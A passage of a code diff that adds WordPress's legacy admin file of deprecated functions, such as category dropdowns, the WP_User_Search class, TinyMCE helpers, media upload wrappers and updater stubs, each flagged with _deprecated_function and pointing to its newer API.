+	wp_tiny_mce();
+}
+
+/**
+ * Unused Admin function.
+ *
+ * @since 2.0.0
+ * @deprecated 2.5.0
+ *
+ */
+function documentation_link() {
+	_deprecated_function( __FUNCTION__, '2.5.0' );
+}
+
+/**
+ * Calculates the new dimensions for a downsampled image.
+ *
+ * @since 2.0.0
+ * @deprecated 3.0.0 Use wp_constrain_dimensions()
+ * @see wp_constrain_dimensions()
+ *
+ * @param int $width Current width of the image
+ * @param int $height Current height of the image
+ * @param int $wmax Maximum wanted width
+ * @param int $hmax Maximum wanted height
+ * @return array Shrunk dimensions (width, height).
+ */
+function wp_shrink_dimensions( $width, $height, $wmax = 128, $hmax = 96 ) {
+	_deprecated_function( __FUNCTION__, '3.0.0', 'wp_constrain_dimensions()' );
+	return wp_constrain_dimensions( $width, $height, $wmax, $hmax );
+}
+
+/**
+ * Calculated the new dimensions for a downsampled image.
+ *
+ * @since 2.0.0
+ * @deprecated 3.5.0 Use wp_constrain_dimensions()
+ * @see wp_constrain_dimensions()
+ *
+ * @param int $width Current width of the image
+ * @param int $height Current height of the image
+ * @return array Shrunk dimensions (width, height).
+ */
+function get_udims( $width, $height ) {
+	_deprecated_function( __FUNCTION__, '3.5.0', 'wp_constrain_dimensions()' );
+	return wp_constrain_dimensions( $width, $height, 128, 96 );
+}
+
+/**
+ * Legacy function used to generate the categories checklist control.
+ *
+ * @since 0.71
+ * @deprecated 2.6.0 Use wp_category_checklist()
+ * @see wp_category_checklist()
+ *
+ * @param int $default       Unused.
+ * @param int $parent        Unused.
+ * @param array $popular_ids Unused.
+ */
+function dropdown_categories( $default = 0, $parent = 0, $popular_ids = array() ) {
+	_deprecated_function( __FUNCTION__, '2.6.0', 'wp_category_checklist()' );
+	global $post_ID;
+	wp_category_checklist( $post_ID );
+}
+
+/**
+ * Legacy function used to generate a link categories checklist control.
+ *
+ * @since 2.1.0
+ * @deprecated 2.6.0 Use wp_link_category_checklist()
+ * @see wp_link_category_checklist()
+ *
+ * @param int $default Unused.
+ */
+function dropdown_link_categories( $default = 0 ) {
+	_deprecated_function( __FUNCTION__, '2.6.0', 'wp_link_category_checklist()' );
+	global $link_id;
+	wp_link_category_checklist( $link_id );
+}
+
+/**
+ * Get the real filesystem path to a file to edit within the admin.
+ *
+ * @since 1.5.0
+ * @deprecated 2.9.0
+ * @uses WP_CONTENT_DIR Full filesystem path to the wp-content directory.
+ *
+ * @param string $file Filesystem path relative to the wp-content directory.
+ * @return string Full filesystem path to edit.
+ */
+function get_real_file_to_edit( $file ) {
+	_deprecated_function( __FUNCTION__, '2.9.0' );
+
+	return WP_CONTENT_DIR . $file;
+}
+
+/**
+ * Legacy function used for generating a categories drop-down control.
+ *
+ * @since 1.2.0
+ * @deprecated 3.0.0 Use wp_dropdown_categories()
+ * @see wp_dropdown_categories()
+ *
+ * @param int $currentcat    Optional. ID of the current category. Default 0.
+ * @param int $currentparent Optional. Current parent category ID. Default 0.
+ * @param int $parent        Optional. Parent ID to retrieve categories for. Default 0.
+ * @param int $level         Optional. Number of levels deep to display. Default 0.
+ * @param array $categories  Optional. Categories to include in the control. Default 0.
+ * @return bool|null False if no categories were found.
+ */
+function wp_dropdown_cats( $currentcat = 0, $currentparent = 0, $parent = 0, $level = 0, $categories = 0 ) {
+	_deprecated_function( __FUNCTION__, '3.0.0', 'wp_dropdown_categories()' );
+	if (!$categories )
+		$categories = get_categories( array('hide_empty' => 0) );
+
+	if ( $categories ) {
+		foreach ( $categories as $category ) {
+			if ( $currentcat != $category->term_id && $parent == $category->parent) {
+				$pad = str_repeat( '&#8211; ', $level );
+				$category->name = esc_html( $category->name );
+				echo "\n\t<option value='$category->term_id'";
+				if ( $currentparent == $category->term_id )
+					echo " selected='selected'";
+				echo ">$pad$category->name</option>";
+				wp_dropdown_cats( $currentcat, $currentparent, $category->term_id, $level +1, $categories );
+			}
+		}
+	} else {
+		return false;
+	}
+}
+
+/**
+ * Register a setting and its sanitization callback
+ *
+ * @since 2.7.0
+ * @deprecated 3.0.0 Use register_setting()
+ * @see register_setting()
+ *
+ * @param string $option_group A settings group name. Should correspond to a whitelisted option key name.
+ * 	Default whitelisted option key names include "general," "discussion," and "reading," among others.
+ * @param string $option_name The name of an option to sanitize and save.
+ * @param callable $sanitize_callback A callback function that sanitizes the option's value.
+ */
+function add_option_update_handler( $option_group, $option_name, $sanitize_callback = '' ) {
+	_deprecated_function( __FUNCTION__, '3.0.0', 'register_setting()' );
+	register_setting( $option_group, $option_name, $sanitize_callback );
+}
+
+/**
+ * Unregister a setting
+ *
+ * @since 2.7.0
+ * @deprecated 3.0.0 Use unregister_setting()
+ * @see unregister_setting()
+ *
+ * @param string $option_group
+ * @param string $option_name
+ * @param callable $sanitize_callback
+ */
+function remove_option_update_handler( $option_group, $option_name, $sanitize_callback = '' ) {
+	_deprecated_function( __FUNCTION__, '3.0.0', 'unregister_setting()' );
+	unregister_setting( $option_group, $option_name, $sanitize_callback );
+}
+
+/**
+ * Determines the language to use for CodePress syntax highlighting.
+ *
+ * @since 2.8.0
+ * @deprecated 3.0.0
+ *
+ * @param string $filename
+**/
+function codepress_get_lang( $filename ) {
+	_deprecated_function( __FUNCTION__, '3.0.0' );
+}
+
+/**
+ * Adds JavaScript required to make CodePress work on the theme/plugin editors.
+ *
+ * @since 2.8.0
+ * @deprecated 3.0.0
+**/
+function codepress_footer_js() {
+	_deprecated_function( __FUNCTION__, '3.0.0' );
+}
+
+/**
+ * Determine whether to use CodePress.
+ *
+ * @since 2.8.0
+ * @deprecated 3.0.0
+**/
+function use_codepress() {
+	_deprecated_function( __FUNCTION__, '3.0.0' );
+}
+
+/**
+ * Get all user IDs.
+ *
+ * @deprecated 3.1.0 Use get_users()
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @return array List of user IDs.
+ */
+function get_author_user_ids() {
+	_deprecated_function( __FUNCTION__, '3.1.0', 'get_users()' );
+
+	global $wpdb;
+	if ( !is_multisite() )
+		$level_key = $wpdb->get_blog_prefix() . 'user_level';
+	else
+		$level_key = $wpdb->get_blog_prefix() . 'capabilities'; // wpmu site admins don't have user_levels
+
+	return $wpdb->get_col( $wpdb->prepare("SELECT user_id FROM $wpdb->usermeta WHERE meta_key = %s AND meta_value != '0'", $level_key) );
+}
+
+/**
+ * Gets author users who can edit posts.
+ *
+ * @deprecated 3.1.0 Use get_users()
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param int $user_id User ID.
+ * @return array|bool List of editable authors. False if no editable users.
+ */
+function get_editable_authors( $user_id ) {
+	_deprecated_function( __FUNCTION__, '3.1.0', 'get_users()' );
+
+	global $wpdb;
+
+	$editable = get_editable_user_ids( $user_id );
+
+	if ( !$editable ) {
+		return false;
+	} else {
+		$editable = join(',', $editable);
+		$authors = $wpdb->get_results( "SELECT * FROM $wpdb->users WHERE ID IN ($editable) ORDER BY display_name" );
+	}
+
+	return apply_filters('get_editable_authors', $authors);
+}
+
+/**
+ * Gets the IDs of any users who can edit posts.
+ *
+ * @deprecated 3.1.0 Use get_users()
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param int  $user_id       User ID.
+ * @param bool $exclude_zeros Optional. Whether to exclude zeroes. Default true.
+ * @return array Array of editable user IDs, empty array otherwise.
+ */
+function get_editable_user_ids( $user_id, $exclude_zeros = true, $post_type = 'post' ) {
+	_deprecated_function( __FUNCTION__, '3.1.0', 'get_users()' );
+
+	global $wpdb;
+
+	if ( ! $user = get_userdata( $user_id ) )
+		return array();
+	$post_type_obj = get_post_type_object($post_type);
+
+	if ( ! $user->has_cap($post_type_obj->cap->edit_others_posts) ) {
+		if ( $user->has_cap($post_type_obj->cap->edit_posts) || ! $exclude_zeros )
+			return array($user->ID);
+		else
+			return array();
+	}
+
+	if ( !is_multisite() )
+		$level_key = $wpdb->get_blog_prefix() . 'user_level';
+	else
+		$level_key = $wpdb->get_blog_prefix() . 'capabilities'; // wpmu site admins don't have user_levels
+
+	$query = $wpdb->prepare("SELECT user_id FROM $wpdb->usermeta WHERE meta_key = %s", $level_key);
+	if ( $exclude_zeros )
+		$query .= " AND meta_value != '0'";
+
+	return $wpdb->get_col( $query );
+}
+
+/**
+ * Gets all users who are not authors.
+ *
+ * @deprecated 3.1.0 Use get_users()
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ */
+function get_nonauthor_user_ids() {
+	_deprecated_function( __FUNCTION__, '3.1.0', 'get_users()' );
+
+	global $wpdb;
+
+	if ( !is_multisite() )
+		$level_key = $wpdb->get_blog_prefix() . 'user_level';
+	else
+		$level_key = $wpdb->get_blog_prefix() . 'capabilities'; // wpmu site admins don't have user_levels
+
+	return $wpdb->get_col( $wpdb->prepare("SELECT user_id FROM $wpdb->usermeta WHERE meta_key = %s AND meta_value = '0'", $level_key) );
+}
+
+if ( ! class_exists( 'WP_User_Search', false ) ) :
+/**
+ * WordPress User Search class.
+ *
+ * @since 2.1.0
+ * @deprecated 3.1.0 Use WP_User_Query
+ */
+class WP_User_Search {
+
+	/**
+	 * {@internal Missing Description}}
+	 *
+	 * @since 2.1.0
+	 * @access private
+	 * @var mixed
+	 */
+	var $results;
+
+	/**
+	 * {@internal Missing Description}}
+	 *
+	 * @since 2.1.0
+	 * @access private
+	 * @var string
+	 */
+	var $search_term;
+
+	/**
+	 * Page number.
+	 *
+	 * @since 2.1.0
+	 * @access private
+	 * @var int
+	 */
+	var $page;
+
+	/**
+	 * Role name that users have.
+	 *
+	 * @since 2.5.0
+	 * @access private
+	 * @var string
+	 */
+	var $role;
+
+	/**
+	 * Raw page number.
+	 *
+	 * @since 2.1.0
+	 * @access private
+	 * @var int|bool
+	 */
+	var $raw_page;
+
+	/**
+	 * Amount of users to display per page.
+	 *
+	 * @since 2.1.0
+	 * @access public
+	 * @var int
+	 */
+	var $users_per_page = 50;
+
+	/**
+	 * {@internal Missing Description}}
+	 *
+	 * @since 2.1.0
+	 * @access private
+	 * @var int
+	 */
+	var $first_user;
+
+	/**
+	 * {@internal Missing Description}}
+	 *
+	 * @since 2.1.0
+	 * @access private
+	 * @var int
+	 */
+	var $last_user;
+
+	/**
+	 * {@internal Missing Description}}
+	 *
+	 * @since 2.1.0
+	 * @access private
+	 * @var string
+	 */
+	var $query_limit;
+
+	/**
+	 * {@internal Missing Description}}
+	 *
+	 * @since 3.0.0
+	 * @access private
+	 * @var string
+	 */
+	var $query_orderby;
+
+	/**
+	 * {@internal Missing Description}}
+	 *
+	 * @since 3.0.0
+	 * @access private
+	 * @var string
+	 */
+	var $query_from;
+
+	/**
+	 * {@internal Missing Description}}
+	 *
+	 * @since 3.0.0
+	 * @access private
+	 * @var string
+	 */
+	var $query_where;
+
+	/**
+	 * {@internal Missing Description}}
+	 *
+	 * @since 2.1.0
+	 * @access private
+	 * @var int
+	 */
+	var $total_users_for_query = 0;
+
+	/**
+	 * {@internal Missing Description}}
+	 *
+	 * @since 2.1.0
+	 * @access private
+	 * @var bool
+	 */
+	var $too_many_total_users = false;
+
+	/**
+	 * {@internal Missing Description}}
+	 *
+	 * @since 2.1.0
+	 * @access private
+	 * @var WP_Error
+	 */
+	var $search_errors;
+
+	/**
+	 * {@internal Missing Description}}
+	 *
+	 * @since 2.7.0
+	 * @access private
+	 * @var string
+	 */
+	var $paging_text;
+
+	/**
+	 * PHP5 Constructor - Sets up the object properties.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string $search_term Search terms string.
+	 * @param int $page Optional. Page ID.
+	 * @param string $role Role name.
+	 * @return WP_User_Search
+	 */
+	function __construct( $search_term = '', $page = '', $role = '' ) {
+		_deprecated_function( __FUNCTION__, '3.1.0', 'WP_User_Query' );
+
+		$this->search_term = wp_unslash( $search_term );
+		$this->raw_page = ( '' == $page ) ? false : (int) $page;
+		$this->page = (int) ( '' == $page ) ? 1 : $page;
+		$this->role = $role;
+
+		$this->prepare_query();
+		$this->query();
+		$this->do_paging();
+	}
+
+	/**
+	 * PHP4 Constructor - Sets up the object properties.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string $search_term Search terms string.
+	 * @param int $page Optional. Page ID.
+	 * @param string $role Role name.
+	 * @return WP_User_Search
+	 */
+	public function WP_User_Search( $search_term = '', $page = '', $role = '' ) {
+		self::__construct( $search_term, $page, $role );
+	}
+
+	/**
+	 * Prepares the user search query (legacy).
+	 *
+	 * @since 2.1.0
+	 * @access public
+	 */
+	public function prepare_query() {
+		global $wpdb;
+		$this->first_user = ($this->page - 1) * $this->users_per_page;
+
+		$this->query_limit = $wpdb->prepare(" LIMIT %d, %d", $this->first_user, $this->users_per_page);
+		$this->query_orderby = ' ORDER BY user_login';
+
+		$search_sql = '';
+		if ( $this->search_term ) {
+			$searches = array();
+			$search_sql = 'AND (';
+			foreach ( array('user_login', 'user_nicename', 'user_email', 'user_url', 'display_name') as $col )
+				$searches[] = $wpdb->prepare( $col . ' LIKE %s', '%' . like_escape($this->search_term) . '%' );
+			$search_sql .= implode(' OR ', $searches);
+			$search_sql .= ')';
+		}
+
+		$this->query_from = " FROM $wpdb->users";
+		$this->query_where = " WHERE 1=1 $search_sql";
+
+		if ( $this->role ) {
+			$this->query_from .= " INNER JOIN $wpdb->usermeta ON $wpdb->users.ID = $wpdb->usermeta.user_id";
+			$this->query_where .= $wpdb->prepare(" AND $wpdb->usermeta.meta_key = '{$wpdb->prefix}capabilities' AND $wpdb->usermeta.meta_value LIKE %s", '%' . $this->role . '%');
+		} elseif ( is_multisite() ) {
+			$level_key = $wpdb->prefix . 'capabilities'; // wpmu site admins don't have user_levels
+			$this->query_from .= ", $wpdb->usermeta";
+			$this->query_where .= " AND $wpdb->users.ID = $wpdb->usermeta.user_id AND meta_key = '{$level_key}'";
+		}
+
+		do_action_ref_array( 'pre_user_search', array( &$this ) );
+	}
+
+	/**
+	 * Executes the user search query.
+	 *
+	 * @since 2.1.0
+	 * @access public
+	 */
+	public function query() {
+		global $wpdb;
+
+		$this->results = $wpdb->get_col("SELECT DISTINCT($wpdb->users.ID)" . $this->query_from . $this->query_where . $this->query_orderby . $this->query_limit);
+
+		if ( $this->results )
+			$this->total_users_for_query = $wpdb->get_var("SELECT COUNT(DISTINCT($wpdb->users.ID))" . $this->query_from . $this->query_where); // no limit
+		else
+			$this->search_errors = new WP_Error('no_matching_users_found', __('No users found.'));
+	}
+
+	/**
+	 * Prepares variables for use in templates.
+	 *
+	 * @since 2.1.0
+	 * @access public
+	 */
+	function prepare_vars_for_template_usage() {}
+
+	/**
+	 * Handles paging for the user search query.
+	 *
+	 * @since 2.1.0
+	 * @access public
+	 */
+	public function do_paging() {
+		if ( $this->total_users_for_query > $this->users_per_page ) { // have to page the results
+			$args = array();
+			if ( ! empty($this->search_term) )
+				$args['usersearch'] = urlencode($this->search_term);
+			if ( ! empty($this->role) )
+				$args['role'] = urlencode($this->role);
+
+			$this->paging_text = paginate_links( array(
+				'total' => ceil($this->total_users_for_query / $this->users_per_page),
+				'current' => $this->page,
+				'base' => 'users.php?%_%',
+				'format' => 'userspage=%#%',
+				'add_args' => $args
+			) );
+			if ( $this->paging_text ) {
+				$this->paging_text = sprintf( '<span class="displaying-num">' . __( 'Displaying %s&#8211;%s of %s' ) . '</span>%s',
+					number_format_i18n( ( $this->page - 1 ) * $this->users_per_page + 1 ),
+					number_format_i18n( min( $this->page * $this->users_per_page, $this->total_users_for_query ) ),
+					number_format_i18n( $this->total_users_for_query ),
+					$this->paging_text
+				);
+			}
+		}
+	}
+
+	/**
+	 * Retrieves the user search query results.
+	 *
+	 * @since 2.1.0
+	 * @access public
+	 *
+	 * @return array
+	 */
+	public function get_results() {
+		return (array) $this->results;
+	}
+
+	/**
+	 * Displaying paging text.
+	 *
+	 * @see do_paging() Builds paging text.
+	 *
+	 * @since 2.1.0
+	 * @access public
+	 */
+	function page_links() {
+		echo $this->paging_text;
+	}
+
+	/**
+	 * Whether paging is enabled.
+	 *
+	 * @see do_paging() Builds paging text.
+	 *
+	 * @since 2.1.0
+	 * @access public
+	 *
+	 * @return bool
+	 */
+	function results_are_paged() {
+		if ( $this->paging_text )
+			return true;
+		return false;
+	}
+
+	/**
+	 * Whether there are search terms.
+	 *
+	 * @since 2.1.0
+	 * @access public
+	 *
+	 * @return bool
+	 */
+	function is_search() {
+		if ( $this->search_term )
+			return true;
+		return false;
+	}
+}
+endif;
+
+/**
+ * Retrieves editable posts from other users.
+ *
+ * @since 2.3.0
+ * @deprecated 3.1.0 Use get_posts()
+ * @see get_posts()
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param int    $user_id User ID to not retrieve posts from.
+ * @param string $type    Optional. Post type to retrieve. Accepts 'draft', 'pending' or 'any' (all).
+ *                        Default 'any'.
+ * @return array List of posts from others.
+ */
+function get_others_unpublished_posts( $user_id, $type = 'any' ) {
+	_deprecated_function( __FUNCTION__, '3.1.0' );
+
+	global $wpdb;
+
+	$editable = get_editable_user_ids( $user_id );
+
+	if ( in_array($type, array('draft', 'pending')) )
+		$type_sql = " post_status = '$type' ";
+	else
+		$type_sql = " ( post_status = 'draft' OR post_status = 'pending' ) ";
+
+	$dir = ( 'pending' == $type ) ? 'ASC' : 'DESC';
+
+	if ( !$editable ) {
+		$other_unpubs = '';
+	} else {
+		$editable = join(',', $editable);
+		$other_unpubs = $wpdb->get_results( $wpdb->prepare("SELECT ID, post_title, post_author FROM $wpdb->posts WHERE post_type = 'post' AND $type_sql AND post_author IN ($editable) AND post_author != %d ORDER BY post_modified $dir", $user_id) );
+	}
+
+	return apply_filters('get_others_drafts', $other_unpubs);
+}
+
+/**
+ * Retrieve drafts from other users.
+ *
+ * @deprecated 3.1.0 Use get_posts()
+ * @see get_posts()
+ *
+ * @param int $user_id User ID.
+ * @return array List of drafts from other users.
+ */
+function get_others_drafts($user_id) {
+	_deprecated_function( __FUNCTION__, '3.1.0' );
+
+	return get_others_unpublished_posts($user_id, 'draft');
+}
+
+/**
+ * Retrieve pending review posts from other users.
+ *
+ * @deprecated 3.1.0 Use get_posts()
+ * @see get_posts()
+ *
+ * @param int $user_id User ID.
+ * @return array List of posts with pending review post type from other users.
+ */
+function get_others_pending($user_id) {
+	_deprecated_function( __FUNCTION__, '3.1.0' );
+
+	return get_others_unpublished_posts($user_id, 'pending');
+}
+
+/**
+ * Output the QuickPress dashboard widget.
+ *
+ * @since 3.0.0
+ * @deprecated 3.2.0 Use wp_dashboard_quick_press()
+ * @see wp_dashboard_quick_press()
+ */
+function wp_dashboard_quick_press_output() {
+	_deprecated_function( __FUNCTION__, '3.2.0', 'wp_dashboard_quick_press()' );
+	wp_dashboard_quick_press();
+}
+
+/**
+ * Outputs the TinyMCE editor.
+ *
+ * @since 2.7.0
+ * @deprecated 3.3.0 Use wp_editor()
+ * @see wp_editor()
+ *
+ * @staticvar int $num
+ */
+function wp_tiny_mce( $teeny = false, $settings = false ) {
+	_deprecated_function( __FUNCTION__, '3.3.0', 'wp_editor()' );
+
+	static $num = 1;
+
+	if ( ! class_exists( '_WP_Editors', false ) )
+		require_once( ABSPATH . WPINC . '/class-wp-editor.php' );
+
+	$editor_id = 'content' . $num++;
+
+	$set = array(
+		'teeny' => $teeny,
+		'tinymce' => $settings ? $settings : true,
+		'quicktags' => false
+	);
+
+	$set = _WP_Editors::parse_settings($editor_id, $set);
+	_WP_Editors::editor_settings($editor_id, $set);
+}
+
+/**
+ * Preloads TinyMCE dialogs.
+ *
+ * @deprecated 3.3.0 Use wp_editor()
+ * @see wp_editor()
+ */
+function wp_preload_dialogs() {
+	_deprecated_function( __FUNCTION__, '3.3.0', 'wp_editor()' );
+}
+
+/**
+ * Prints TinyMCE editor JS.
+ *
+ * @deprecated 3.3.0 Use wp_editor()
+ * @see wp_editor()
+ */
+function wp_print_editor_js() {
+	_deprecated_function( __FUNCTION__, '3.3.0', 'wp_editor()' );
+}
+
+/**
+ * Handles quicktags.
+ *
+ * @deprecated 3.3.0 Use wp_editor()
+ * @see wp_editor()
+ */
+function wp_quicktags() {
+	_deprecated_function( __FUNCTION__, '3.3.0', 'wp_editor()' );
+}
+
+/**
+ * Returns the screen layout options.
+ *
+ * @since 2.8.0
+ * @deprecated 3.3.0 WP_Screen::render_screen_layout()
+ * @see WP_Screen::render_screen_layout()
+ */
+function screen_layout( $screen ) {
+	_deprecated_function( __FUNCTION__, '3.3.0', '$current_screen->render_screen_layout()' );
+
+	$current_screen = get_current_screen();
+
+	if ( ! $current_screen )
+		return '';
+
+	ob_start();
+	$current_screen->render_screen_layout();
+	return ob_get_clean();
+}
+
+/**
+ * Returns the screen's per-page options.
+ *
+ * @since 2.8.0
+ * @deprecated 3.3.0 Use WP_Screen::render_per_page_options()
+ * @see WP_Screen::render_per_page_options()
+ */
+function screen_options( $screen ) {
+	_deprecated_function( __FUNCTION__, '3.3.0', '$current_screen->render_per_page_options()' );
+
+	$current_screen = get_current_screen();
+
+	if ( ! $current_screen )
+		return '';
+
+	ob_start();
+	$current_screen->render_per_page_options();
+	return ob_get_clean();
+}
+
+/**
+ * Renders the screen's help.
+ *
+ * @since 2.7.0
+ * @deprecated 3.3.0 Use WP_Screen::render_screen_meta()
+ * @see WP_Screen::render_screen_meta()
+ */
+function screen_meta( $screen ) {
+	$current_screen = get_current_screen();
+	$current_screen->render_screen_meta();
+}
+
+/**
+ * Favorite actions were deprecated in version 3.2. Use the admin bar instead.
+ *
+ * @since 2.7.0
+ * @deprecated 3.2.0 Use WP_Admin_Bar
+ * @see WP_Admin_Bar
+ */
+function favorite_actions() {
+	_deprecated_function( __FUNCTION__, '3.2.0', 'WP_Admin_Bar' );
+}
+
+/**
+ * Handles uploading an image.
+ *
+ * @deprecated 3.3.0 Use wp_media_upload_handler()
+ * @see wp_media_upload_handler()
+ *
+ * @return null|string
+ */
+function media_upload_image() {
+	_deprecated_function( __FUNCTION__, '3.3.0', 'wp_media_upload_handler()' );
+	return wp_media_upload_handler();
+}
+
+/**
+ * Handles uploading an audio file.
+ *
+ * @deprecated 3.3.0 Use wp_media_upload_handler()
+ * @see wp_media_upload_handler()
+ *
+ * @return null|string
+ */
+function media_upload_audio() {
+	_deprecated_function( __FUNCTION__, '3.3.0', 'wp_media_upload_handler()' );
+	return wp_media_upload_handler();
+}
+
+/**
+ * Handles uploading a video file.
+ *
+ * @deprecated 3.3.0 Use wp_media_upload_handler()
+ * @see wp_media_upload_handler()
+ *
+ * @return null|string
+ */
+function media_upload_video() {
+	_deprecated_function( __FUNCTION__, '3.3.0', 'wp_media_upload_handler()' );
+	return wp_media_upload_handler();
+}
+
+/**
+ * Handles uploading a generic file.
+ *
+ * @deprecated 3.3.0 Use wp_media_upload_handler()
+ * @see wp_media_upload_handler()
+ *
+ * @return null|string
+ */
+function media_upload_file() {
+	_deprecated_function( __FUNCTION__, '3.3.0', 'wp_media_upload_handler()' );
+	return wp_media_upload_handler();
+}
+
+/**
+ * Handles retrieving the insert-from-URL form for an image.
+ *
+ * @deprecated 3.3.0 Use wp_media_insert_url_form()
+ * @see wp_media_insert_url_form()
+ *
+ * @return string
+ */
+function type_url_form_image() {
+	_deprecated_function( __FUNCTION__, '3.3.0', "wp_media_insert_url_form('image')" );
+	return wp_media_insert_url_form( 'image' );
+}
+
+/**
+ * Handles retrieving the insert-from-URL form for an audio file.
+ *
+ * @deprecated 3.3.0 Use wp_media_insert_url_form()
+ * @see wp_media_insert_url_form()
+ *
+ * @return string
+ */
+function type_url_form_audio() {
+	_deprecated_function( __FUNCTION__, '3.3.0', "wp_media_insert_url_form('audio')" );
+	return wp_media_insert_url_form( 'audio' );
+}
+
+/**
+ * Handles retrieving the insert-from-URL form for a video file.
+ *
+ * @deprecated 3.3.0 Use wp_media_insert_url_form()
+ * @see wp_media_insert_url_form()
+ *
+ * @return string
+ */
+function type_url_form_video() {
+	_deprecated_function( __FUNCTION__, '3.3.0', "wp_media_insert_url_form('video')" );
+	return wp_media_insert_url_form( 'video' );
+}
+
+/**
+ * Handles retrieving the insert-from-URL form for a generic file.
+ *
+ * @deprecated 3.3.0 Use wp_media_insert_url_form()
+ * @see wp_media_insert_url_form()
+ *
+ * @return string
+ */
+function type_url_form_file() {
+	_deprecated_function( __FUNCTION__, '3.3.0', "wp_media_insert_url_form('file')" );
+	return wp_media_insert_url_form( 'file' );
+}
+
+/**
+ * Add contextual help text for a page.
+ *
+ * Creates an 'Overview' help tab.
+ *
+ * @since 2.7.0
+ * @deprecated 3.3.0 Use WP_Screen::add_help_tab()
+ * @see WP_Screen::add_help_tab()
+ *
+ * @param string    $screen The handle for the screen to add help to. This is usually the hook name returned by the add_*_page() functions.
+ * @param string    $help   The content of an 'Overview' help tab.
+ */
+function add_contextual_help( $screen, $help ) {
+	_deprecated_function( __FUNCTION__, '3.3.0', 'get_current_screen()->add_help_tab()' );
+
+	if ( is_string( $screen ) )
+		$screen = convert_to_screen( $screen );
+
+	WP_Screen::add_old_compat_help( $screen, $help );
+}
+
+/**
+ * Get the allowed themes for the current site.
+ *
+ * @since 3.0.0
+ * @deprecated 3.4.0 Use wp_get_themes()
+ * @see wp_get_themes()
+ *
+ * @return array $themes Array of allowed themes.
+ */
+function get_allowed_themes() {
+	_deprecated_function( __FUNCTION__, '3.4.0', "wp_get_themes( array( 'allowed' => true ) )" );
+
+	$themes = wp_get_themes( array( 'allowed' => true ) );
+
+	$wp_themes = array();
+	foreach ( $themes as $theme ) {
+		$wp_themes[ $theme->get('Name') ] = $theme;
+	}
+
+	return $wp_themes;
+}
+
+/**
+ * Retrieves a list of broken themes.
+ *
+ * @since 1.5.0
+ * @deprecated 3.4.0 Use wp_get_themes()
+ * @see wp_get_themes()
+ *
+ * @return array
+ */
+function get_broken_themes() {
+	_deprecated_function( __FUNCTION__, '3.4.0', "wp_get_themes( array( 'errors' => true )" );
+
+	$themes = wp_get_themes( array( 'errors' => true ) );
+	$broken = array();
+	foreach ( $themes as $theme ) {
+		$name = $theme->get('Name');
+		$broken[ $name ] = array(
+			'Name' => $name,
+			'Title' => $name,
+			'Description' => $theme->errors()->get_error_message(),
+		);
+	}
+	return $broken;
+}
+
+/**
+ * Retrieves information on the current active theme.
+ *
+ * @since 2.0.0
+ * @deprecated 3.4.0 Use wp_get_theme()
+ * @see wp_get_theme()
+ *
+ * @return WP_Theme
+ */
+function current_theme_info() {
+	_deprecated_function( __FUNCTION__, '3.4.0', 'wp_get_theme()' );
+
+	return wp_get_theme();
+}
+
+/**
+ * This was once used to display an 'Insert into Post' button.
+ *
+ * Now it is deprecated and stubbed.
+ *
+ * @deprecated 3.5.0
+ */
+function _insert_into_post_button( $type ) {
+	_deprecated_function( __FUNCTION__, '3.5.0' );
+}
+
+/**
+ * This was once used to display a media button.
+ *
+ * Now it is deprecated and stubbed.
+ *
+ * @deprecated 3.5.0
+ */
+function _media_button($title, $icon, $type, $id) {
+	_deprecated_function( __FUNCTION__, '3.5.0' );
+}
+
+/**
+ * Gets an existing post and format it for editing.
+ *
+ * @since 2.0.0
+ * @deprecated 3.5.0 Use get_post()
+ * @see get_post()
+ *
+ * @param int $id
+ * @return object
+ */
+function get_post_to_edit( $id ) {
+	_deprecated_function( __FUNCTION__, '3.5.0', 'get_post()' );
+
+	return get_post( $id, OBJECT, 'edit' );
+}
+
+/**
+ * Gets the default page information to use.
+ *
+ * @since 2.5.0
+ * @deprecated 3.5.0 Use get_default_post_to_edit()
+ * @see get_default_post_to_edit()
+ *
+ * @return WP_Post Post object containing all the default post data as attributes
+ */
+function get_default_page_to_edit() {
+	_deprecated_function( __FUNCTION__, '3.5.0', "get_default_post_to_edit( 'page' )" );
+
+	$page = get_default_post_to_edit();
+	$page->post_type = 'page';
+	return $page;
+}
+
+/**
+ * This was once used to create a thumbnail from an Image given a maximum side size.
+ *
+ * @since 1.2.0
+ * @deprecated 3.5.0 Use image_resize()
+ * @see image_resize()
+ *
+ * @param mixed $file Filename of the original image, Or attachment id.
+ * @param int $max_side Maximum length of a single side for the thumbnail.
+ * @param mixed $deprecated Never used.
+ * @return string Thumbnail path on success, Error string on failure.
+ */
+function wp_create_thumbnail( $file, $max_side, $deprecated = '' ) {
+	_deprecated_function( __FUNCTION__, '3.5.0', 'image_resize()' );
+	return apply_filters( 'wp_create_thumbnail', image_resize( $file, $max_side, $max_side ) );
+}
+
+/**
+ * This was once used to display a meta box for the nav menu theme locations.
+ *
+ * Deprecated in favor of a 'Manage Locations' tab added to nav menus management screen.
+ *
+ * @since 3.0.0
+ * @deprecated 3.6.0
+ */
+function wp_nav_menu_locations_meta_box() {
+	_deprecated_function( __FUNCTION__, '3.6.0' );
+}
+
+/**
+ * This was once used to kick-off the Core Updater.
+ *
+ * Deprecated in favor of instantating a Core_Upgrader instance directly,
+ * and calling the 'upgrade' method.
+ *
+ * @since 2.7.0
+ * @deprecated 3.7.0 Use Core_Upgrader
+ * @see Core_Upgrader
+ */
+function wp_update_core($current, $feedback = '') {
+	_deprecated_function( __FUNCTION__, '3.7.0', 'new Core_Upgrader();' );
+
+	if ( !empty($feedback) )
+		add_filter('update_feedback', $feedback);
+
+	include( ABSPATH . 'wp-admin/includes/class-wp-upgrader.php' );
+	$upgrader = new Core_Upgrader();
+	return $upgrader->upgrade($current);
+
+}
+
+/**
+ * This was once used to kick-off the Plugin Updater.
+ *
+ * Deprecated in favor of instantating a Plugin_Upgrader instance directly,
+ * and calling the 'upgrade' method.
+ * Unused since 2.8.0.
+ *
+ * @since 2.5.0
+ * @deprecated 3.7.0 Use Plugin_Upgrader
+ * @see Plugin_Upgrader
+ */
+function wp_update_plugin($plugin, $feedback = '') {
+	_deprecated_function( __FUNCTION__, '3.7.0', 'new Plugin_Upgrader();' );
+
+	if ( !empty($feedback) )
